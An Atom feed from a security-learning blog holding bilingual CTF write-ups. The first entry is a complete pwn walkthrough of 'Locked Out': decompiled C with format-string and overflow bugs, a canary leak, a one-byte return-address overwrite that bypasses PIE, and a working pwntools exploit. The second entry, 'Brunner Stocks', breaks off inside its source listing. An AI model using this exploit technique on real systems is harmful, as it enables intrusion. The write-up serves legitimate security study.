<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ko"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://junseopark0216.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://junseopark0216.github.io/" rel="alternate" type="text/html" hreflang="ko" /><updated>2026-10-28T22:32:40+09:00</updated><id>https://junseopark0216.github.io/feed.xml</id><title type="html">ZUNE</title><subtitle>보안 학습/포트폴리오 블로그</subtitle><author><name>Junseo Park</name></author><entry><title type="html">[BrunnerCTF 2026] Locked Out</title><link href="https://junseopark0216.github.io/ctf/brunnerctf-2026-locked-out/" rel="alternate" type="text/html" title="[BrunnerCTF 2026] Locked Out" /><published>2026-08-23T00:00:00+09:00</published><updated>2026-08-24T05:12:18+09:00</updated><id>https://junseopark0216.github.io/ctf/brunnerctf-2026-locked-out</id><content type="html" xml:base="https://junseopark0216.github.io/ctf/brunnerctf-2026-locked-out/"><![CDATA[<p><img src="/assets/img/posts/2026-08-24-03-39-08.png" alt="" /></p>

<hr />

<!--ko-->

<h2 id="보호-기법-확인">보호 기법 확인</h2>

<p><img src="/assets/img/posts/2026-08-24-03-11-40.png" alt="" />
checksec으로 확인하면 Partial RELRO, 스택 카나리, NX, PIE가 모두 걸려 있다.</p>

<p><img src="/assets/img/posts/2026-08-24-03-12-02.png" alt="" />
프로그램을 실행하면 PIN을 입력받고, 틀리면 다시 묻는다. 총 4번의 기회가 주어진다.</p>

<h2 id="소스-코드-분석">소스 코드 분석</h2>

<p><code class="language-plaintext highlighter-rouge">play()</code> 함수를 IDA로 살펴봤다. (main은 play()만 호출하고 특별한 건 없다.)</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">play</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v0</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>         <span class="c1">// [rsp+Ch] [rbp-14h]</span>
    <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span>            <span class="c1">// [rsp+14h] [rbp-Ch]  → 시도 횟수 카운터</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h] → 카나리</span>

    <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
    <span class="n">v3</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
    <span class="n">v0</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="n">nullptr</span><span class="p">);</span>
    <span class="n">srand</span><span class="p">(</span><span class="n">v0</span><span class="p">);</span>
    <span class="n">pincode</span> <span class="o">=</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">10000</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">5u</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Please enter PIN: "</span><span class="p">);</span>
        <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>   <span class="c1">// 8바이트 버퍼에 32바이트를 읽어들임</span>
        <span class="n">s</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>            <span class="c1">// 포맷 스트링을 4글자로 제한</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">atoi</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="n">pincode</span> <span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Correct! Door is unlocked."</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="o">--</span><span class="n">v3</span><span class="p">;</span>
        <span class="n">printf</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>           <span class="c1">// 포맷 스트링 취약점</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">" is wrong! %d tries left.</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>숨겨진 <code class="language-plaintext highlighter-rouge">win()</code> 함수도 존재한다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">win</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">FILE</span> <span class="o">*</span><span class="n">stream</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">72</span><span class="p">];</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span>

    <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
    <span class="n">stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span> <span class="kt">char</span> <span class="n">i</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="n">stream</span><span class="p">);</span> <span class="n">i</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="n">stream</span><span class="p">)</span> <span class="p">)</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="취약점-분석">취약점 분석</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>
</code></pre></div></div>

<p>8바이트 버퍼 <code class="language-plaintext highlighter-rouge">s</code>에 32바이트를 읽어들이므로 버퍼 오버플로우가 발생한다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</code></pre></div></div>

<p>입력값이 그대로 포맷 스트링으로 쓰인다. 다만 <code class="language-plaintext highlighter-rouge">s[4] = 0</code> 때문에 포맷 스트링은 4글자로 제한된다. (<code class="language-plaintext highlighter-rouge">%9$p</code>까지만 사용 가능.)</p>

<hr />

<h2 id="익스플로잇-설계">익스플로잇 설계</h2>

<p>보호 기법이 여러 개 걸려 있어 아래 순서로 접근했다.</p>

<p><strong>1단계: 스택 카나리 릭</strong></p>

<p>카나리가 켜져 있으므로 오버플로우 전에 카나리 값을 먼저 알아내야 한다.
포맷 스트링 취약점으로 <code class="language-plaintext highlighter-rouge">%N$p</code>를 써서 스택 값을 하나씩 읽을 수 있다.</p>

<p>처음엔 gdb에서 테스트했는데, gdb는 스택에 환경 변수를 추가로 올려서 레이아웃이 바뀐다. 그래서 gdb에서 찾은 인덱스가 실제 실행과 달랐다. 게다가 <code class="language-plaintext highlighter-rouge">s[4] = 0</code> 제약 때문에 탐색 범위는 <code class="language-plaintext highlighter-rouge">%1$p</code>부터 <code class="language-plaintext highlighter-rouge">%9$p</code>까지, 후보가 9개뿐이다. (<code class="language-plaintext highlighter-rouge">%10$p</code>부터는 문자열이 5글자가 되어 5번째 바이트가 <code class="language-plaintext highlighter-rouge">\0</code>이 되고, printf가 널에서 멈춘다.)</p>

<p><img src="/assets/img/posts/2026-08-24-03-16-16.png" alt="" />
하나씩 테스트한 결과 <strong><code class="language-plaintext highlighter-rouge">%9$p</code></strong>가 카나리 값을 반환하는 것을 확인했다. 카나리는 항상 <code class="language-plaintext highlighter-rouge">0x~~00</code>으로 끝나는 성질, 그리고 실행할 때마다 값이 바뀌는 점으로 카나리임을 판별했다.</p>

<p><strong>2단계: PIE 우회 (Partial Overwrite)</strong></p>

<p>PIE가 켜져 있어 전체 주소를 알 수 없다. 포맷 스트링으로 PIE 주소를 릭하려 했지만, <code class="language-plaintext highlighter-rouge">s[4] = 0</code> 제약 안의 인덱스 범위에서는 PIE 주소를 찾을 수 없었다.</p>

<p>그래서 다른 방법을 썼다.</p>

<p>PIE 베이스는 항상 0x1000 단위로 정렬된다. 즉 어떤 주소든 하위 12비트(1.5바이트)는 항상 0이다.</p>

<p><img src="/assets/img/posts/2026-08-24-03-26-21.png" alt="" /><img src="/assets/img/posts/2026-08-24-03-26-00.png" alt="" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">win()</code> 오프셋: <code class="language-plaintext highlighter-rouge">0x13da</code> (IDA로 확인)</li>
  <li>현재 리턴 주소: <code class="language-plaintext highlighter-rouge">0x13BF</code> (<code class="language-plaintext highlighter-rouge">call play</code> 바로 다음 명령어)</li>
</ul>

<p>두 주소의 하위 2바이트를 비교하면:</p>

<ul>
  <li>리턴 주소: <code class="language-plaintext highlighter-rouge">~~13bf</code></li>
  <li><code class="language-plaintext highlighter-rouge">win()</code>: <code class="language-plaintext highlighter-rouge">~~13da</code></li>
</ul>

<p><strong>최하위 1바이트만 다르다.</strong> (<code class="language-plaintext highlighter-rouge">0xbf</code> vs <code class="language-plaintext highlighter-rouge">0xda</code>)
따라서 리턴 주소의 1바이트만 <code class="language-plaintext highlighter-rouge">0xda</code>로 덮으면 실행 흐름이 <code class="language-plaintext highlighter-rouge">win()</code>으로 넘어간다. PIE 주소를 몰라도 된다.</p>

<p><strong>3단계: 루프 탈출 문제</strong></p>

<p>오버플로우 페이로드를 보내면 <code class="language-plaintext highlighter-rouge">v3</code>(시도 횟수 카운터)도 같이 덮인다. <code class="language-plaintext highlighter-rouge">v3</code>가 <code class="language-plaintext highlighter-rouge">0x41414141</code> 같은 큰 값이 되면 루프가 끝나지 않아 <code class="language-plaintext highlighter-rouge">ret</code>에 도달하지 못한다.</p>

<p>해결: <code class="language-plaintext highlighter-rouge">v3</code> 위치에 <code class="language-plaintext highlighter-rouge">p32(1)</code>을 넣는다. 그러면 <code class="language-plaintext highlighter-rouge">--v3 = 0</code>이 되어 <code class="language-plaintext highlighter-rouge">while(0 &gt; 0)</code>이 거짓이 되고 루프를 자연스럽게 빠져나온다.</p>

<p><strong>스택 레이아웃</strong>
<img src="/assets/img/posts/2026-08-24-03-38-19.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[rbp-0x14] s (8 bytes) ← 버퍼 시작
[rbp-0x0C] v3 (4 bytes) ← 시도 횟수 카운터
[rbp-0x08] canary (8 bytes)
[rbp+0x00] saved rbp
[rbp+0x08] return address

최종 페이로드 구조:
[A*8] [p32(1)] [canary] [p64(0)] [0xda]
s     v3=1     canary   saved_rbp  ret
</code></pre></div></div>

<hr />

<h2 id="익스플로잇">익스플로잇</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./locked_out'</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>

<span class="c1"># 1단계: 카나리 릭
</span><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"PIN: "</span><span class="p">,</span> <span class="sa">b</span><span class="s">"%9$p"</span><span class="p">)</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"canary: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># 2단계: 오버플로우
# s(8) + v3=1(4) + canary(8) + saved_rbp(8) + ret 최하위 1바이트
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0xda</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"PIN: "</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/posts/2026-08-24-03-40-14.png" alt="" /></p>

<!--en-->

<h2 id="check-security-techniques">Check security techniques</h2>

<p><img src="/assets/img/posts/2026-08-24-03-11-40.png" alt="" />
Running checksec reveals that Partial RELRO, Stack Canary, NX, and PIE are all enabled.</p>

<p><img src="/assets/img/posts/2026-08-24-03-12-02.png" alt="" />
When the program runs, it prompts for a PIN. If incorrect, it asks again. A total of 4 attempts are given.</p>

<h2 id="source-code-check">Source Code Check</h2>

<p>The <code class="language-plaintext highlighter-rouge">play()</code> function was examined using IDA. (The main function only calls play() with nothing else notable.)</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">play</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v0</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>         <span class="c1">// [rsp+Ch] [rbp-14h]</span>
    <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span>            <span class="c1">// [rsp+14h] [rbp-Ch]  → attempt counter</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h] → canary</span>

    <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
    <span class="n">v3</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
    <span class="n">v0</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="n">nullptr</span><span class="p">);</span>
    <span class="n">srand</span><span class="p">(</span><span class="n">v0</span><span class="p">);</span>
    <span class="n">pincode</span> <span class="o">=</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">10000</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">5u</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Please enter PIN: "</span><span class="p">);</span>
        <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>   <span class="c1">// reading 32 bytes into an 8-byte buffer</span>
        <span class="n">s</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>            <span class="c1">// limits format string to 4 characters</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">atoi</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="n">pincode</span> <span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Correct! Door is unlocked."</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="o">--</span><span class="n">v3</span><span class="p">;</span>
        <span class="n">printf</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>           <span class="c1">// format string vulnerability</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">" is wrong! %d tries left.</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A hidden <code class="language-plaintext highlighter-rouge">win()</code> function also exists.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">win</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">FILE</span> <span class="o">*</span><span class="n">stream</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">72</span><span class="p">];</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span>

    <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
    <span class="n">stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span> <span class="kt">char</span> <span class="n">i</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="n">stream</span><span class="p">);</span> <span class="n">i</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="n">stream</span><span class="p">)</span> <span class="p">)</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="discovered-vulnerabilities">Discovered Vulnerabilities</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>
</code></pre></div></div>

<p>Reading 32 bytes into the 8-byte buffer <code class="language-plaintext highlighter-rouge">s</code> causes a buffer overflow.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</code></pre></div></div>

<p>The input is used directly as a format string. However, <code class="language-plaintext highlighter-rouge">s[4] = 0</code> limits the format string to 4 characters. (Only up to <code class="language-plaintext highlighter-rouge">%9$p</code> is usable.)</p>

<hr />

<h2 id="exploit-plan">Exploit Plan</h2>

<p>Multiple protections are in place, so the following approach was taken.</p>

<p><strong>Step 1: Stack Canary Leak</strong></p>

<p>Since a canary is enabled, the canary value must be obtained before overflowing.
The format string vulnerability can be used to read stack values one by one using <code class="language-plaintext highlighter-rouge">%N$p</code>.</p>

<p>Initial testing was done in gdb, but gdb adds extra environment variables onto the stack, changing its layout. As a result, the index found in gdb differed from normal execution. Additionally, the <code class="language-plaintext highlighter-rouge">s[4] = 0</code> constraint limits the search range to <code class="language-plaintext highlighter-rouge">%1$p</code> through <code class="language-plaintext highlighter-rouge">%9$p</code> — only 9 candidates. (From <code class="language-plaintext highlighter-rouge">%10$p</code> onward, the string is 5 characters long, the 5th byte becomes <code class="language-plaintext highlighter-rouge">\0</code>, and printf stops at null.)</p>

<p><img src="/assets/img/posts/2026-08-24-03-16-16.png" alt="" />
After testing each one, <strong><code class="language-plaintext highlighter-rouge">%9$p</code></strong> was confirmed to return the canary value. It was identified by the property that canaries always end in <code class="language-plaintext highlighter-rouge">0x~~00</code>, and repeated runs showed the value changing each time, confirming it is the canary.</p>

<p><strong>Step 2: PIE Bypass (Partial Overwrite)</strong></p>

<p>PIE is enabled, so the full address cannot be known. Leaking the PIE address via format string was attempted, but no PIE address could be found within the reachable index range due to the <code class="language-plaintext highlighter-rouge">s[4] = 0</code> constraint.</p>

<p>A different approach was used instead.</p>

<p>The PIE base is always aligned to a multiple of 0x1000. This means the lower 12 bits (1.5 bytes) of any address are always 0.</p>

<p><img src="/assets/img/posts/2026-08-24-03-26-21.png" alt="" /><img src="/assets/img/posts/2026-08-24-03-26-00.png" alt="" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">win()</code> offset: <code class="language-plaintext highlighter-rouge">0x13da</code> (confirmed via IDA)</li>
  <li>Current return address: <code class="language-plaintext highlighter-rouge">0x13BF</code> (the instruction immediately after <code class="language-plaintext highlighter-rouge">call play</code>)</li>
</ul>

<p>Comparing the lower 2 bytes of both addresses:</p>

<ul>
  <li>Return address: <code class="language-plaintext highlighter-rouge">~~13bf</code></li>
  <li><code class="language-plaintext highlighter-rouge">win()</code>: <code class="language-plaintext highlighter-rouge">~~13da</code></li>
</ul>

<p><strong>Only the lowest 1 byte differs.</strong> (<code class="language-plaintext highlighter-rouge">0xbf</code> vs <code class="language-plaintext highlighter-rouge">0xda</code>)
Therefore, overwriting just 1 byte of the return address with <code class="language-plaintext highlighter-rouge">0xda</code> redirects execution to <code class="language-plaintext highlighter-rouge">win()</code>. No knowledge of the PIE address is needed.</p>

<p><strong>Step 3: Loop Escape Problem</strong></p>

<p>Sending the overflow payload also overwrites <code class="language-plaintext highlighter-rouge">v3</code> (the attempt counter). If <code class="language-plaintext highlighter-rouge">v3</code> becomes a large value like <code class="language-plaintext highlighter-rouge">0x41414141</code>, the loop never ends and <code class="language-plaintext highlighter-rouge">ret</code> is never reached.</p>

<p>Solution: place <code class="language-plaintext highlighter-rouge">p32(1)</code> at the <code class="language-plaintext highlighter-rouge">v3</code> position. This makes <code class="language-plaintext highlighter-rouge">--v3 = 0</code>, causing <code class="language-plaintext highlighter-rouge">while(0 &gt; 0)</code> to evaluate as false and the loop exits naturally.</p>

<p><strong>Stack Layout</strong>
<img src="/assets/img/posts/2026-08-24-03-38-19.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[rbp-0x14] s (8 bytes) ← buffer start
[rbp-0x0C] v3 (4 bytes) ← attempt counter
[rbp-0x08] canary (8 bytes)
[rbp+0x00] saved rbp
[rbp+0x08] return address

Final payload structure:
[A*8] [p32(1)] [canary] [p64(0)] [0xda]
s     v3=1     canary   saved_rbp  ret
</code></pre></div></div>

<hr />

<h2 id="exploit">Exploit</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./locked_out'</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>

<span class="c1"># Step 1: Canary leak
</span><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"PIN: "</span><span class="p">,</span> <span class="sa">b</span><span class="s">"%9$p"</span><span class="p">)</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"canary: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Step 2: Overflow
# s(8) + v3=1(4) + canary(8) + saved_rbp(8) + lowest 1 byte of ret
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0xda</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"PIN: "</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/posts/2026-08-24-03-40-14.png" alt="" /></p>]]></content><author><name>Junseo Park</name></author><category term="ctf" /><category term="BrunnerCTF 2026" /><category term="pwn" /><category term="format string" /><category term="canary leak" /><category term="buffer overflow" /><category term="PIE" /><category term="partial overwrite" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">[BrunnerCTF 2026] Brunner Stocks</title><link href="https://junseopark0216.github.io/ctf/brunnerctf-2026-stocks/" rel="alternate" type="text/html" title="[BrunnerCTF 2026] Brunner Stocks" /><published>2026-08-23T00:00:00+09:00</published><updated>2026-08-24T05:08:29+09:00</updated><id>https://junseopark0216.github.io/ctf/brunnerctf-2026-stocks</id><content type="html" xml:base="https://junseopark0216.github.io/ctf/brunnerctf-2026-stocks/"><![CDATA[<p><img src="/assets/img/posts/2026-08-24-02-21-00.png" alt="" /></p>

<hr />

<!--ko-->

<h2 id="보호-기법-확인">보호 기법 확인</h2>

<p><img src="/assets/img/posts/2026-08-23-04-32-43.png" alt="" />
checksec으로 확인하면 Partial RELRO 외에는 어떤 보호 기법도 적용되어 있지 않다.</p>

<p>stocks 프로그램을 실행하면 다음과 같이 동작한다 (입력값은 임의):
<img src="/assets/img/posts/2026-08-24-01-29-45.png" alt="" /></p>

<h2 id="소스-코드-분석">소스 코드 분석</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//stocks.c</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stddef.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">float</span> <span class="n">income</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">costs</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">stock_price</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">volatility</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">ai_company</span><span class="p">;</span>
<span class="p">}</span> <span class="n">Stock</span><span class="p">;</span>

<span class="k">typedef</span> <span class="nf">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">Algorithm</span><span class="p">)(</span><span class="n">Stock</span> <span class="n">e</span><span class="p">);</span>

<span class="kt">float</span> <span class="nf">askf</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s (0.0-100.0): "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
